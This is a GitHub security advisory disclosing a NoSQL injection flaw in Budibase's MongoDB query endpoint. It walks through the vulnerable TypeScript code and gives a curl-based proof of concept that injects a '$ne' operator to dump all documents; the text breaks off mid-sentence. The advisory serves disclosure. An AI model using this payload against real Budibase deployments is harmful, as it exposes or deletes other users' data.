GHSA-qw6m-8fw2-2v64
Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
Summary
## Summary Budibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents. ## Details The vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters: **packages/server/src/api/controllers/query/index.ts:57-69** ```typescript function validateQueryInputs(parameters: QueryEventParameters) { for (let entry of Object.entries(parameters)) { const [key, value] = entry if (typeof value !== "string") { continue } if (findHBSBlocks(value).length !== 0) { throw new Error( `Parameter '${key}' input contains a handlebars binding - this is not allowed.` ) } } } ``` After validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled: **packages/server/src/sdk/workspace/queries/queries.ts:105-108** ```typescript enrichedQuery[key] = processStringSync(fields[key], parameters, { noEscaping: true, noHelpers: true, escapeNewlines: true, }) ``` The interpolated string is then parsed as JSON at line 122: **packages/server/src/sdk/workspace/queries/queries.ts:122** ```typescript enrichedQuery.json = JSON.parse( enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody ) ``` The parsed object flows directly into MongoDB driver calls with no further sanitization: **packages/server/src/integrations/mongodb.ts:509** ```typescript return await collection.find(json).toArray() ``` **packages/server/src/integrations/mongodb.ts:624** ```typescript return await collection.deleteMany(json.filter, json.options) ``` Consider a saved query with a JSON template like `{"username": "{{username}}"}`. If an attacker provides the parameter value `", "$ne": "` the interpolated string becomes `{"username": "", "$ne": ""}` — a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user. The route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints. ## PoC **Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{"username": "{{username}}"}`). **Step 1: Authenticate as a regular app user** ```bash TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \ -H "Content-Type: application/json" \ -d '{"username":"[email protected]","password":"password"}' \ -c - | grep budibase:auth | awk '{print $NF}') ``` **Step 2: Execute the query normally (returns only matching document)** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "alice"}}' # Returns: [{"username": "alice", ...}] ``` **Step 3: Inject NoSQL operator to dump all documents** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "\", \"$ne\": \""}}' # Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...] ``` The injected value `", "$ne": "` transforms t
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| npm | @budibase/server | — | — |
Remediation: No patched version is listed by GitHub.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.